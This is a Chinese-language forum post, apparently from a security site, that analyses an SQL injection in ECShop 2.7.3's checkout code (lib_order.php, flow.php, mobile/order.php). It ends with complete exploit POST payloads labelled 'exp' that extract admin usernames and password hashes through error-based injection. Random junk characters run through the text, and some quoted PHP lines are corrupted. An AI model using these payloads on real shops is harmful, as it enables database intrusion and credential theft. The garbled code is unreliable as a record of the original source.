前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。/ w2 u9 `( E! d. u+ P% A3 z
+ y" L4 A$ V" S; m0 B3 j' ]! _
漏洞关键文件:
5 R6 @# n% L9 w( \. r" B9 u0 F$ M9 d" ~8 R) B0 }
/includes/lib_order.php8 G+ [- n3 a1 n7 f+ m5 K9 _
! Q; O/ Q. i+ @! C3 z6 O: d 关键函数:
6 h5 [' u+ u1 I( q+ C- E
7 y+ a5 c/ }- S 1 L# N: e/ L4 s$ A* Y8 L/ ~
7 L- {, l7 W5 d8 e. D2 E! ~7 G, G
01 function available_shipping_list($region_id_list) . V8 i- `" c5 Z+ @8 |
. w' P2 l6 y X- q$ U
02 { ; p: {5 j& g$ ~# C% L" P
: ~. |; @. r* z9 H% M: l03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . % S$ p1 ? p9 }$ a+ b
* b4 X* j. p# a& ?4 |. P
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 C% H+ L \0 |( r) s# m0 H9 w" f0 b; ~( N+ r$ d5 r$ Y% H- ?9 J% L
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, K' x" P, d" z; s
0 K# Y; l5 a( e2 \8 Y( _06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
M6 e5 D8 E: U
: p9 h9 w' {! s+ R# G07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 _ a) A2 o5 x. Q" f( n% \% _6 x
% J( }) B- P( j7 q7 Q5 _, L
08 'WHERE r.region_id ' . db_create_in($region_id_list) . * B$ c r& }2 Y! t# d+ f2 u) o7 v
& g2 u2 m) J) V6 L. _* Q09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; / M, q: v/ [, T7 o) u
% x5 _( u4 Q8 i7 w+ p% J! r' j( d9 E( l
10 * L- L+ n, N$ ?. r/ s: _& [. J
4 R$ P. [4 \* Y$ H5 q3 |11 return $GLOBALS['db']->getAll($sql); ! ^( O/ b5 B; _5 q% @/ [8 j0 L# {
6 z5 r8 j9 Y, j, b5 o12 } ' M" Z7 ]9 y% |5 M- G5 r
9 w5 W8 C& h7 U. ^( \% H# N显然对传入的参数没有任何过滤就带入了查询语句。
5 U" {+ Q. `0 I2 N& _ + w3 x; t% P# Z7 ?$ Z2 i$ a
下面我们追踪这个函数在flow.php中:
! g" y# b% X- l# E* Q: I+ i 第531行: 9 t( ^2 k3 a4 T
! w3 E" ~! v# B
1 $shipping_list = available_shipping_list($region); * k6 v0 ]9 ?% Z+ S0 o2 {
, y8 m# c o- n2 _& k6 \6 ?- e7 E. R B ; @9 R0 f9 J2 [, J9 m7 C0 X
! a6 @3 y% J) C7 x' R* e 1 V" O% \6 a& H. O) S# b
% F7 R$ p7 k, V5 `! g
再对传入变量进行追踪:
0 ]3 |) h! i) ^' q( j
- k5 t7 G9 E: m' b: D第530行: + U7 f4 t& ?/ M1 r6 M4 g( N/ j
8 Y! m" ~6 }1 n1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 W. X- z9 l+ v- z7 |, ~9 I
2 U! ^" v! n2 Y" L
. `" d' r9 E' o, |# Y2 N( n! S
# p. n% R6 G6 c& f/ G* \ ) j6 f% z- @: S
+ B9 \* Q8 @! v& U7 F* |第473行: 3 C0 `" C, h. \" w+ k
: G( ?, O1 J9 z: r0 Q3 F) _7 Y3 P1 $consignee = get_consignee($_SESSION['user_id']);
. l, K$ P6 Z! V: ?' `3 G4 h3 T7 P+ C! y' ^0 ~8 v
到了一个关键函数:
* H! C3 ~: d( a E
: d! O, t) E# g3 T8 _! F/includes/lib_order.php
0 c" r1 r- l+ F$ Y3 {, Q
3 u) A9 Y% z {
8 M0 ]6 H! O1 D: z( x3 T5 u6 v* m* ~2 F: G- Q
: i* Y. N+ c3 i
+ ^3 y) m; _- Z01 function get_consignee($user_id)
+ i7 `' \; e- L3 E. P( S
" y2 n$ `5 @+ V+ }4 @$ l02 { ; g$ h- L8 I! [* M, ?
$ {$ t0 e9 ^' t' K( Z' z
03 if (isset($_SESSION['flow_consignee'])) " R% v- p% A! L8 G# O
/ a4 b* ?2 D3 O$ v04 {
6 H$ m* E* u) w( g6 w; @9 t9 X) Q/ ^0 }3 c9 q) P7 f7 W8 P! P+ n
05 /* 如果存在session,则直接返回session中的收货人信息 */
' s+ ~0 l5 F, b! n5 O: Z" r# o3 W$ j! C( C8 t8 a) r5 a' s
06
! r, j# e6 X$ g. S. g; F9 w
2 M" E& @& m! |07 return $_SESSION['flow_consignee']; ; n, u4 r- e8 a4 s: ]
! i" E; E& \; O( m# m b. M7 F08 }
! L, o2 M t: ?4 u0 ?* }1 q* V4 x2 Y9 }0 k
09 else ) I# x6 T) H. q5 x: o
0 p" H5 @! o" h& H7 j, {8 L9 C+ Z10 { 1 N# |. c! d4 x8 R7 Q7 R9 K! W' M
0 n, n Z8 m+ \$ t, Z, _0 m% F11 /* 如果不存在,则取得用户的默认收货人信息 */
: [1 s7 [) a6 f( V% m$ F" m5 F( L( T) t
12 $arr = array(); 3 i4 W* C/ V" d, ~8 A9 r& Y# H
|- |" a0 ^% h; s, ~8 c
13 $ v# x, L# s1 ?( M, m2 r0 S
% g) \& s3 Y$ [8 z
14 if ($user_id > 0) 4 D8 t+ R" ^4 A& A( {8 y+ R$ f2 ?
) f! P+ F+ J# J* h# `7 z& q/ ?
15 {
2 }& g8 L4 J }4 R/ D) b2 ^/ a' i a8 O) g1 A1 o1 d, ?& I+ b' U( x
16 /* 取默认地址 */
5 W* F# l$ ~& k5 w9 y" q9 E
9 t( p$ r: J+ ]; `4 A17 $sql = "SELECT ua.*".
6 a {$ _2 H' P9 @! a) l- e T+ a
, o- n. j2 W8 i y9 F2 X3 W* [18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
2 a2 Z- s; H9 ~1 T
" i5 A7 ?& i( @4 Q, Q/ ^+ Z$ [+ O19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; : T5 j. O" j3 c6 v4 }: |) m# o, L
1 g9 V4 p& V T4 U& _20
6 o5 _" t& Q; z2 H1 h4 G
+ P9 B- b7 ?! V* Z21 $arr = $GLOBALS['db']->getRow($sql); ( x6 h3 Y. S$ y
* H! j( y$ u1 x! T% ~( V- a% m, e
22 } q) r0 V$ t* ~. D$ Y6 p: a1 u9 L
8 n% D. U% ^: r- o5 N23
+ M+ d x8 T. k* |4 G1 Z( |" x% F4 [5 V5 [$ _
24 return $arr; 5 Z$ L+ e; R' E- Z* F/ p3 R, r
* x+ w$ V- g4 l' I25 } C: l* R: b) m# H+ N
4 J4 d$ u# B6 M5 ]" @% ?26 }
; ?$ P; L! I% L# j+ k4 b+ i8 Q2 |; V
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?' G- E+ _8 n, ?" D- D9 q
. y4 R% Q2 P1 M( i4 f9 V. \ ( M% s3 j% R5 T( \/ T$ E9 z
& f' P$ c7 M) l. L" W+ ~
关键点:( A: n/ ~; e0 | ~! ?, e* p5 b
+ b. j* _4 v( a) I) ^第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* d7 s3 {: {) Z5 z1 L# l5 K" V+ J8 @- l6 r* ?
这里对传入参数反转义存入$_SESSION中。+ b* A$ u9 l4 M- W4 X0 s
0 b) x7 Y9 _$ [0 h& l
& r( [8 O7 X& n. L$ j: }* }$ h4 G# L4 z ?
然后看下:1 w, C' e9 A' y
6 U" _% B( e% X3 y% e
( A; q4 |" C( Z) Y, R5 f" y. v, ~. W/ x4 |! ]: [
) h; Y9 @. q3 I9 [, [& @+ N, [/ Y! U, O+ w4 H' V
01 $consignee = array(
( g5 Y6 m- i% P8 l6 g! g5 ?1 M$ W6 t3 J0 N, A7 j
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
+ ^6 O/ P D% u7 {+ v0 n& ]. r) j* C& R4 H; M( P& z; r7 K% f
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), ) b5 c+ H* b8 A5 D8 j) Q5 P
R2 G* S4 G7 @% m8 M04 'country' => empty($_POST['country']) ? '' _POST['country'], % x# g, o/ I! f& m4 T9 x' z
2 M; @& q+ Z L$ E05 'province' => empty($_POST['province']) ? '' _POST['province'],
/ \! f/ |" l; @) ?; M z5 f& x: G; |0 ]5 @- B: v) e
06 'city' => empty($_POST['city']) ? '' _POST['city'],
' ]4 f. [3 t, S) L' t. z9 b
# l) `" V! H- L- R07 'district' => empty($_POST['district']) ? '' _POST['district'],
8 O6 g* k% Y) N7 f6 r/ h S, J4 f7 Q% W% E" n3 y
08 'email' => empty($_POST['email']) ? '' _POST['email'], # g2 H0 |3 \% e$ m! R: o
* [' n7 L9 Y% T8 a' r2 c+ {
09 'address' => empty($_POST['address']) ? '' _POST['address'], % s9 a$ Q/ k. m8 I. r; y+ e
8 h, ?7 s1 ~ t! Q. ], p1 R10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), * D- P" z" q/ G( ?# v
$ V+ E3 C4 W2 @/ W
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 7 }6 s# a" |# _; o1 x
: l8 @6 E C7 }: q' _
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), ) ^) s8 W1 T* y0 h+ \
5 Y% U9 d( q7 m% `4 f6 G13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 2 |4 Q2 {* W1 Z& W5 X- B
$ e8 c0 j) r5 a1 K; w* |
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 0 j3 w5 e- I$ G; |
" z) y5 n2 X9 G! r$ u/ w$ d
15 );
0 H9 B, H% t; ~& O ?8 ]5 s8 o# t O
2 I( z; V: Y6 |好了注入就这样出现了。
# L3 n- C' a9 h; Y& C) u! e4 W1 d' @+ |
==================1 y2 K; U2 D1 s" d" f0 v& i6 @) _8 t( M
; @5 e2 p& J2 \* L
注入测试:, ^/ {7 |7 y c0 b) j6 j; T
7 v8 k- D( c% Z0 c- L7 B
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ s' m9 U" D5 H& e# A+ M
+ Q! M: `) T- E, L" ~6 g6 j测试程序:ECShop_V2.7.3_UTF8_release1106
* `( b2 B' `# K. d9 c$ R# [% c1 b1 O/ ]
# G. ?+ B+ j6 o4 [% Q" `" b t% N0 ^$ E5 H! O0 V- R5 O
7 T; n% ~! ]! x7 Q$ }$ P% p
1.首先需要点击一个商品加入购物车
) T1 z, s- X ^+ o a( l
. |% \" l+ e6 o7 x1 k0 _+ w2.注册一个会员帐号
: U [, @3 P; w. E" v! x! j$ [4 k! R4 s2 I- X. w
3.post提交数据9 x4 D: ?' k t' g
0 d9 X; q5 W2 O. y; N1 {8 U8 ~
& n% M$ b5 \3 ]" g% z, h: Y% M; \4 @1 ^+ _
1 http://127.0.0.1/ecshop/flow.php
3 S) n' b" \6 v' l
" F3 n/ y- ]( C/ V+ a3 c2
$ H& |2 A% q9 j! _, B
3 p9 q! J G; l5 j+ v4 L3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
* q7 B1 l' T' L, O8 Z3 ?# i: Y举一反三,我们根据这个漏洞我们可以继续深入挖掘:! _4 S. r! |$ g! Z
" j% j- b, C( a3 H
我们搜寻关键函数function available_shipping_list()
0 N9 g% X# S/ b3 N+ o/ n& ~+ U0 U/ A
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同" L7 u: x3 s2 k0 R# e! A/ l9 L
9 `/ y; H) G( C. a2 \2 t
利用exp:
5 C: @2 i7 c9 n- ^$ v( w# j# D$ B6 g6 r+ n7 A5 h
1.点击一个商品,点击购买商标; d- U/ h- |# U
+ I- G& c! x/ ]9 J5 \, u2.登录会员帐号: f% `# P4 T9 z c# d2 K. G! T
8 U, B: U, Q1 f( F& S6 t3.post提交:" a' s' r$ X: h( I
) [7 N" W' D8 ]5 D/ }: G( F( w
http://127.0.0.1/ecshop/mobile/order.php
3 J& j! ?4 y' |/ A7 S" B- Z9 Q
7 E* H# }/ j* m9 I: r) M$ {& a
2 M% t( D) f+ Y( fcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
, a; o" F9 U. k4 P f( S! ]8 {7 c; f
|